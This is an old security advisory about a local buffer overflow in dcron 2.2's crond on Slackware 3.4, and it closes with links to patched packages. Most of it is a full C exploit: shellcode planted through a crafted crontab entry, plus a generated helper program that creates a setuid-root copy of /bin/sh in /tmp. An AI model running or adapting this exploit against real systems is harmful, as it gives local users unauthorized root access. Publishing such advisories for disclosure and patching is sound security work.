COMMAND

    dillon crontab / crond ( dcron 2.2 )

SYSTEMS AFFECTED

    Linux Slackware 3.4

PROBLEM

    KSR[T] in their Advisory #005 covers following problem.  The crond
    that  comes  with  Slackware  3.4  contains  a locally exploitable
    buffer overflow.  When crond attempts to run a particular cronjob,
    it will take the user specified  command line and copy it into  an
    automatic  variable  via  vsprintf().   (  This  is  done when the
    function  RunJob()   calls  fdprintf(),   in  job.c   and   subs.c
    respectively.).

    A  quick  glance  shows  another  potential  overflow  in  subs.c,
    involving the logging functions.  This is also fixed in the  patch
    below.  Users with an account on the machine can gain root access.
    Exploit follows:

    /*   Dillon's Crond v2.2 exploit                                */
    /*                                                              */
    /* There exists a buffer overflow in Slackware's                */
    /* /usr/sbin/crond in the fdprintf() function from subs.c       */
    /* [specifically vsprintf()]. Also take note that the overflow  */
    /* was discovered by the KSRT team.                             */

    /* However, to exploit this, crond must be invoked without the  */
    /* -l option. By default, it is invoked with the -l option from */
    /* the /etc/rc.d/rc.M script -> /usr/sbin/crond -l10         */

    /* Therefore, by default this exploit will not work. However,   */
    /* if crond is running without the -l option,  then root can be */
    /* obtained.                                                    */

    /* Simply compile and run this and look for a suid root shell   */
    /* in /tmp (/tmp/XxX) in about one  minute. This exploit also   */
    /* seems to cause crond to segfault if X is runninga.  Please   */
    /* use this in a responsible manner.

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <pwd.h>
    
    #define DEFAULT_OFFSET 560
    #define DEFAULT_BUFFER_SIZE 980
    #define TOTAL_BUFFER 4096

    char shellcode[]=
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
    "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
    "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
    "\xd7\xff\xff\xff/tmp/xo";

    long get_esp(void) {
       __asm__("movl %esp,%eax");
    }

    void calc_bs(int *bs_ptr)
    {
	    int len=0;
	    struct passwd *p_name;

	    /* dependant on length of username */
	    p_name=getpwuid(getuid());
	    len=strlen(p_name->pw_name);
	    *bs_ptr = 986 - len;
	    return;
    }

    int main(int argc, char **argv) {
	    char *buff = NULL;
	    unsigned long *addr_ptr = NULL;
	    char *ptr = NULL;
	    int i, ofs=DEFAULT_OFFSET;
	    int bs=DEFAULT_BUFFER_SIZE;
	    FILE *fp=NULL;

	    /* probably will not need to give argument */
	    if (argc==2)
		    ofs=atoi(argv[1]);
	    calc_bs(&bs);
	    buff=malloc(TOTAL_BUFFER);
	    if(!buff) {
		    perror("malloc");
		    exit(EXIT_FAILURE);
	    }
	    ptr=buff;
	    memset(ptr,0x90, bs-strlen(shellcode));
	    ptr += bs-strlen(shellcode);
	    for (i=0; i<strlen(shellcode); i++)
		    *(ptr++) = shellcode[i];
	    addr_ptr = (long *)ptr;
	    for (i=0; i<2; i++)
		    *(addr_ptr++)=get_esp()-ofs;
	    ptr=(char *)addr_ptr;
	    *ptr=0;

	    /* create binary in /tmp to make suid shell */
	    fp=fopen("/tmp/xo.c","w+");
	    if (!fp) {
		    fprintf(stderr,"Can't open /tmp/xo.c for writing!");
		    exit(EXIT_FAILURE);
	    }
	    fprintf(fp,"#include <stdio.h>\n");
	    fprintf(fp,"#include <stdlib.h>\n");
	    fprintf(fp,"main() {\n");
	    fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
	    fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
	    fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
	    fprintf(fp,"}\n");
	    fclose(fp);
	    /* compile our program to create suid shell */
	    system("cc -o /tmp/xo /tmp/xo.c");
	    unlink("/tmp/xo.c");
 

	    /* now use crontab to plant overflow for crond */
	    fp=fopen("r00t","w+");
	    if (!fp) {
		    perror("fopen");
		    exit(EXIT_FAILURE);
	    }
	    fprintf(fp,"%s\n",buff);
	    fclose(fp);

	    /* put our r00t crontab in crontabs directory */
	    system("/usr/bin/crontab r00t");
	    unlink("r00t");

	    /* helpful reminder */
	    printf("Now wait about 1 minute and look\n");
	    printf("for the suid shell -> /tmp/XxX\n");
	    exit(0);
    }

SOLUTION

    /usr/sbin/crond is installed with the bin.tgz package in Slackware
    3.4.   A patched  version of  this package  is available  from the
    Slackware FTP site:

	ftp://ftp.cdrom.com/pub/linux/slackware-3.4/slakware/a2/bin.tgz

    The source and patch can also be found on the FTP site:

	ftp://ftp.cdrom.com/pub/linux/slackware-3.4/source/a/bin/dcron22.tar.gz
	ftp://ftp.cdrom.com/pub/linux/slackware-3.4/source/a/bin/dcron22.diff.gz